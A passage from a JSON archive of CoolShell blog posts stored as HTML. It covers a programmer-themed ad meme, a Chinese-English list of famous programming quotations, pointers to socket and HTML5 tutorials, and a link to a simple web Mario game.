href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2801.html\">C技巧：结构体参数转成不定参数</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-8-12 程序员版的凡客.html",
    "content": "<html><body><p>现在“凡客诚品”的PS风已经成为了一场运动，详见这里：<a href=\"http://bigfools.com/2010/08/6634.html\" target=\"_blank\">http://bigfools.com/2010/08/6634.html</a>。这两天，公司内部要出期刊，正好下班没事，于是跟着这股网风，为公司的期刊做了一个插图，那些语句着实花了我很多时间。用PPT乱做的，希望大家喜欢。呵呵。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/08/coolshell.programmer.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-2807\" height=\"229\" src=\"../wp-content/uploads/2010/08/coolshell.programmer.jpg\" title=\"程序员版的凡客\" width=\"600\"/></a></p>\n<p>欢迎你留下你的版本，尤其是那些语句。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2806.html\">程序员版的凡客</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-8-2 最佳编程语录.html",
    "content": "<html><body><p>以前本站发布过《<a href=\"https://coolshell.cn/articles/808.html\" rel=\"bookmark\" target=\"_blank\">22条经典的编程引言</a>》、《<a href=\"https://coolshell.cn/articles/1212.html\" rel=\"bookmark\" target=\"_blank\">编程引言补充</a>》、《<a href=\"https://coolshell.cn/articles/1278.html\" rel=\"bookmark\" target=\"_blank\">Linus Torvalds 语录</a>》还有《<a href=\"https://coolshell.cn/articles/2424.html\" target=\"_blank\">十条不错的编程观点</a>》。今天向大家介绍“最佳编程语录”，条条都是很不错的语录，如同我们的太阳，照亮了我们的方向（所以我们选用了一个红色的图片，希望能够通过五毛们的网络审查）。<img alt=\"\" class=\"alignright size-medium wp-image-2755\" height=\"300\" src=\"../wp-content/uploads/2010/08/Best-Programming-Quotations-201x300.jpg\" title=\"Best Programming Quotations\" width=\"201\"/>其中只有一两条在以前本站发布过的文章中出现过。这篇<a href=\"http://www.linfo.org/q_programming.html\" target=\"_blank\"><strong>文章的出处在这里</strong></a>，下面是“<a href=\"https://coolshell.cn/?author=4\" target=\"_blank\">Neo</a>”和“<a href=\"https://coolshell.cn/?author=2\" target=\"_blank\">陈皓</a>”的翻译，我们的翻译水平有限，所以，我们提供了中英文对照，有不当之处，还请各位指正。</p>\n<blockquote><p>A good programmer is someone who looks both ways before crossing a one-way street.   — Doug Linder, systems administrator</p>\n<p>好的程序员这样一类人，这类人在横穿一条单行道前都要先看一下路两边。– Doug Linder, 系统管理员</p></blockquote>\n<blockquote><p>A most important, but also most elusive, aspect of any tool is its influence on the habits of those who train themselves in its use. If the tool is a programming language this influence is, whether we like it or not, an influence on our thinking habits.   — Edsger Dijkstra, computer scientist</p>\n<p>关于工具，一个最重要的，也是最不易察觉的方面是，工具对使用此工具的人的习惯的潜移默化的影响。如果这个工具是一门程序语言，不管我们是否喜欢它，它都会影响我们的思维惯式。 –Edsger Dijkstra, 著名的计算机科学家。</p></blockquote>\n<blockquote><p>Being abstract is something profoundly different from being vague… The purpose of abstraction is not to be vague, but to create a new semantic level in which one can be absolutely precise.   — Edsger Dijkstra</p>\n<p>抽象和模糊完全地不同，抽象的目的并不是把事情变模糊，而去创建一个新的语义层，在那里是绝对精确的描述。 — Edsger Dijkstra</p></blockquote>\n<blockquote><p>Besides a mathematical inclination, an exceptionally good mastery of one’s native tongue is the most vital asset of a competent programmer.   — Edsger Dijkstra</p>\n<p>除了数学爱好，对于一个有能力的程序员来说，出色地掌握自己的母语是最宝贵的财富。– Edsger Dijkstra</p></blockquote>\n<p><span id=\"more-2753\"></span></p>\n<blockquote><p>C makes it easy to shoot yourself in the foot; C++ makes it harder, but when you do, it blows away your whole leg.   — Bjarne Stroustrup, developer of the C++ programming language</p>\n<p>C很容易使你搬起石头砸自己的脚，而C++把这事变得更难，但是如果一定要这么做，那么你的整条腿都会被炸飞 -Bjarne Stroustrup, C++语言的发明者</p></blockquote>\n<blockquote><p>Commentary: most debugging problems are fixed easily; identifying the location of the problem is hard.   — unknown</p>\n<p>修复bug很容易，但是定位bug却很困难 – 匿名</p></blockquote>\n<blockquote><p>Considering the current sad state of our computer programs, software development is clearly still a black art, and cannot yet be called an engineering discipline.   — Bill Clinton, former President of the United States</p>\n<p>看看当前计算机程序糟糕的事态，软件开发明显一直是一门妖术，其仍然不能被称为一个工程学。 –比尔.克林顿 美国前总统</p></blockquote>\n<blockquote><p>For a long time it puzzled me how something so expensive, so leading edge, could be so useless, and then it occurred to me that a computer is a stupid machine with the ability to do incredibly smart things, while computer programmers are smart people with the ability to do incredibly stupid things. They are, in short, a perfect match.   — Bill Bryson, author, from Notes from a Big Country</p>\n<p>长期以来，有个事一直困扰着我，那就是越是昂贵的，越是前沿的，就越可能是没用的。然后，困扰我的另一个事是，计算机是一个死的机器，却可以不可思议地去完成那些巧妙的事情，而计算机程序员是那么聪明人却在做着不可思议的愚蠢的事情，简而言之，他们真是天生的一对。– Bill Bryson旅游文学作家 Big Country中的笔记</p></blockquote>\n<blockquote><p>Given enough eyeballs, all bugs are shallow (e.g., given a large enough beta-tester and co-developer base, almost every problem will be characterized quickly and the fix obvious to someone).   — Eric S. Raymond, programmer and advocate of open source software, from The Cathedral and the Bazaar</p>\n<p>足够多的眼睛，就可让所有问题浮现(比如：只要给于足够多的beta测试者和开发人员一起工作，那么，几所所有的问题都会很快的出现，而修正也会是显而易见的）</p></blockquote>\n<blockquote><p>Good code is its own best documentation. As you’re about to add a comment, ask yourself, ‘How can I improve the code so that this comment isn’t needed?’ Improve the code and then document it to make it even clearer.   — Steve McConnell, software engineer and author, from Code Complete</p>\n<p>好的代码自己本身就是最好的文档。当你打算加注释的时候，问问自己‘我如何才能把我的代码改善到不需增加注释？’重构自己的代码，然后使文档让其更清楚。 — Steve McConnell《代码大全》的作者</p></blockquote>\n<blockquote><p>Hey! It compiles! Ship it!   — unknown</p>\n<p>嘿，编译通过了！出货！–匿名</p></blockquote>\n<blockquote><p>Inside every well-written large program is a well-written small program.   — Charles Antony Richard Hoare, computer scientist</p>\n<p>在每个编写精良的大程序里面都是一个编写精良的小程序。 –Charles Antony Richard Hoare,计算机科学家</p></blockquote>\n<blockquote><p>It should be noted that no ethically-trained software engineer would ever consent to write a DestroyBaghdad procedure. Basic professional ethics would instead require him to write a DestroyCity procedure, to which Baghdad could be given as a parameter.   — Nathaniel S. Borenstein, computer scientist</p>\n<p>需要注意的是，没有哪个经过规范培训的工程师会赞成写一个DestoryBaghdad（摧毁巴克达）的函数。最基本的职业规范会告诉他们应该去写一个叫DestoryCity的函数，然后把“Baghdad”（巴克达）当成这个函数的参数。——　Nathaniel S. Borenstein,　计算机科学家</p></blockquote>\n<blockquote><p>Managing programmers is like herding cats.   — unknown</p>\n<p>管理程序员就如同养一群猫一样 –匿名</p></blockquote>\n<blockquote><p>Measuring programming progress by lines of code is like measuring aircraft building progress by weight.   — Bill Gates, co-founder of Microsoft Corporation</p>\n<p>用代码行数来衡量编程的进度，就如同用航空器零件的重量来衡量航空飞机的制造进度一样。——Bill Gates，微软创始人</p></blockquote>\n<blockquote><p>More good code has been written in languages denounced as bad than in languages proclaimed wonderful — much more.   — Bjarne Stroustrup, from The Design and Evolution of C++</p>\n<p>更多的优秀代码是用被认为很烂的语言写成的，而不是用那些被说的好的不得了的语言。——Bjarne Stroustrup, 摘自《The Design and Evolution of C++》</p></blockquote>\n<blockquote><p>Programs must be written for people to read, and only incidentally for machines to execute.   — Harold Abelson and Gerald Jay Sussman, computer scientists and authors, from The Structure and Interpretation of Computer Programs</p>\n<p>代码应该是写给其他人来读的，而能让机器运行的仅仅是附带着的。——　Harold Abelson 与 Gerald Jay Sussman, 计算机科学家和作家，摘自《The Structure and Interpretation of Computer Programs》</p></blockquote>\n<blockquote><p>Real programmers don’t comment their code. If it was hard to write, it should be hard to understand.   — unknown</p>\n<p>真正程序员从来不写代码的注释，如果代码非常难写，那么同样代码的注释也会非常难懂 –匿名</p></blockquote>\n<blockquote><p>Simplicity is prerequisite for reliability.   — Edsger Dijkstra</p>\n<p>简单是可靠的前提条件 — 迪杰斯特拉</p></blockquote>\n<blockquote><p>The C programming language — a language which combines the flexibility of assembly language with the power of assembly language.   — unknown</p>\n<p>C语言—— 一门同时具有了汇编语言灵活性和汇编语言强大能力的语言。– 匿名</p></blockquote>\n<blockquote><p>The first 90% of the code accounts for the first 90% of the development time. The remaining 10% of the code accounts for the other 90% of the development time.   — Tom Cargill, object-oriented programming expert at Bell Labs</p>\n<p>开始的90%的代码用了90%的开发时间，而剩下的最后的10%的代码会需要另外90%的开发时间。– Tom Cargill,贝尔实验室的面向对象编程专家。</p></blockquote>\n<blockquote><p>The important point is that the cost of adding a feature isn’t just the time it takes to code it. The cost also includes the addition of an obstacle to future expansion. Sure, any given feature list can be implemented, given enough coding time. But in addition to coming out late, you will usually wind up with a codebase that is so fragile that new ideas that should be dead-simple wind up taking longer and longer to work into the tangled existing web. The trick is to pick the features that don’t fight each other.   — John Carmack, computer game programmer</p>\n<p>增加一个功能特性的成本并不单单是为这些功能编码所花费时间的成本，还这个成本应该包括特性扩展的障碍成本。当然，任何的功能清单都可以被实现，只需要有足够的时间。但是除些之外，你应该对你的代码库的脆弱性感到紧张，而那些新的想法应该足够的简单，而不是去花费更多更多的时间去纠缠于现有的蜘蛛网。这里的决窃是挑选那些不会和别人冲突的的功能。</p></blockquote>\n<blockquote><p>The key to performance is elegance, not battalions of special cases. The terrible temptation to tweak should be resisted unless the payoff is really noticeable.   — Jon Bently and M. Douglas McIlroy, both computer scientists at Bell Labs</p>\n<p>表现的关键是精美和典雅的，并不是使用大量的特殊案例。对于任何调整的冲动都应该是被限制的，除非其回报真的是值得注意的。– Jon Bently and M. Douglas McIlroy,  二者都是贝尔试验实的计算机科学家</p></blockquote>\n<blockquote><p>The last good thing written in C was Franz Schubert’s Symphony Number 9.   — Erwin Dieterich, programmer<br/>\n最后一件用C做的好作品就是弗朗茨.舒伯特的C大调第9交响曲 — Erwin Dieterich, programmer程序员</p></blockquote>\n<blockquote><p>The problem with using C++ … is that there’s already a strong tendency in the language to require you to know everything before you can do anything.   — Larry Wall, developer of the Perl language</p>\n<p>使用C++最大的问题是..在C++语言里，存在这一种很强的趋势，就是如果你不明白C++语言的细节，你就无法做好任何事情。– Larry Wall, developer of the Perl language</p></blockquote>\n<blockquote><p>The sooner you start to code, the longer the program will take.   — Roy Carlson, University of Wisconsin</p>\n<p>你越早开始都手编码，你所花费来编程的时间就越长 — Roy Carlson, University of Wisconsin</p></blockquote>\n<blockquote><p>The value of a prototype is in the education it gives you, not in the code itself.   — Alan Cooper, software author, from The Inmates are Running the Asylum</p>\n<p>原型的价值在于他给你的教训，而不是代码自身 — Alan Cooper, software author, from The Inmates are Running the Asylum</p></blockquote>\n<blockquote><p>There are only two kinds of programming languages: those people always bitch about and those nobody uses.   — Bjarne Stroustrup</p>\n<p>世界上只有两类编程语言：人们都抱怨的语言和从来没有人使用的语言 — Bjarne Stroustrup</p></blockquote>\n<blockquote><p>There are two ways of constructing a software design. One way is to make it so simple that there are obviously no deficiencies. And the other way is to make it so complicated that there are no obvious deficiencies.   — Charles Antony Richard Hoare</p>\n<p>世界上有两个设计软件的方法，一种方法是设计的尽量简单，以至于明显的没有什么缺陷，另外一种方式是使他尽量的复杂，以至于其缺陷不那么明显。</p></blockquote>\n<blockquote><p>Ugly programs are like ugly suspension bridges: they’re much more liable to collapse than pretty ones, because the way humans (especially engineer-humans) perceive beauty is intimately related to our ability to process and understand complexity. A language that makes it hard to write elegant code makes it hard to write good code.   — Eric S. Raymond</p>\n<p>丑陋的程序就像一座丑陋的吊桥：他们相比漂亮的良好的吊桥起来，更有可能会坍塌，这是因为人类（尤其是工程师）感知漂亮的东西是和我们处理和理解复杂问题的能力相关的。所以，一个程序语言如果很难以优雅地方式编程，那么其就很难写出好的代码。</p></blockquote>\n<blockquote><p>Weeks of programming can save you hours of planning.   — unknown</p>\n<p>多做几周的编程可以节省你做计划的时间 —— 匿名 （意思为，只有实践过了，你才更容易做计划，没有实践过，做起计划来将会很头痛）</p></blockquote>\n<blockquote><p>When a programming language is created that allows programmers to program in simple English, it will be discovered that programmers cannot speak English.   — unknown</p>\n<p>当程序语言被设计成允许程序以很简单的英语来编程的时候，人们将会发现编写程序的程序员都来自不会说英语的地方。 –匿名</p></blockquote>\n<p>（全文完，翻译水平有限，如果有误，还请批评指正！）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5201.html\"><img alt=\"重构代码的7个阶段\" height=\"150\" src=\"../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5201.html\">重构代码的7个阶段</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4875.html\"><img alt=\"一个空格引发的惨剧\" height=\"150\" src=\"../wp-content/uploads/2011/06/20110620115951113-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4875.html\">一个空格引发的惨剧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4758.html\"><img alt=\"如何写出无法维护的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3005.html\"><img alt=\"代码重构的一个示例\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3005.html\">代码重构的一个示例</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2753.html\">最佳编程语录</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-8-23 两个教程：Socket和HTML5.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright\" src=\"http://d.wearehugh.com/dih5/johnny_automatic_planet_with_spyglass.png\"/>给大家介绍两个教程，一个是关于Socket编程的，一个是关于HTML5的。</p>\n<p>关于Socket，相信大家都知道这个是用来做TCP/IP网络编程的，其由FreeBSD引入，现在，只要你相做网络编程，你必然会使用到它。这里有一个叫<strong><a href=\"http://beej.us/guide/bgnet/\" target=\"_blank\">Beej’s Guide to Network Programming</a><span style=\"font-weight: normal;\"> 的网站</span></strong>，非常不错的一个教程。在其主页上显示有<a href=\"http://docs.chinalinuxpub.com/doc/pro/is.html\" target=\"_blank\">中译版</a>，不过很可惜，打不开。好像网络有很多转载，你可以<a href=\"http://www.google.com.hk/search?hl=zh-CN&amp;source=hp&amp;q=beej+%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B&amp;btnG=Google+%E6%90%9C%E7%B4%A2\" target=\"_blank\">Google一下</a>。</p>\n<p>另一个是关于HTML5的众多标签，大家可以访问这个叫做“<a href=\"http://diveintohtml5.org/peeks-pokes-and-pointers.html\" target=\"_blank\"><strong>HTML5 Peeks, Pokes and Pointers</strong></a>”的网站，其就像一个速查手册一样，你可要查阅HTML5的那些BT的tag，比如：多媒体，画布，地理，表单，等等。</p>\n<p>希望大家喜欢，不妨你也说说你知道的相关的一些教程。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2829.html\">两个教程：Socket和HTML5</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-8-23 史上最烂的超级玛丽.html",
    "content": "<html><body><p>啥也不说了，自己访问一下吧，F是跳，D是加速，回车的是开始，还挺好玩，简单是简单了点，但好歹也是用Java写的，也是Web的，呵呵。</p>\n<p style=\"text-align: center;\"><a href=\"http://meatfighter.com/mario/mario.html\" target=\"_blank\">http://meatfighter.com/mario/mario.html</a></p>\n<p><a href=\"http://meatfighter.com/mario/mario.html\"><img alt=\"史上最烂的超级玛丽\" class=\"aligncenter size-full wp-image-2835\" height=\"267\" src=\"../wp-content/uploads/2010/08/super_mario.jpg\" title=\"Super Mario\" width=\"300\"/></a></p>\n<p>你还见过更烂的吗？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2834.html\">史上最烂的超级玛丽</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-8-24 使用grep恢复被删文件内容.html",
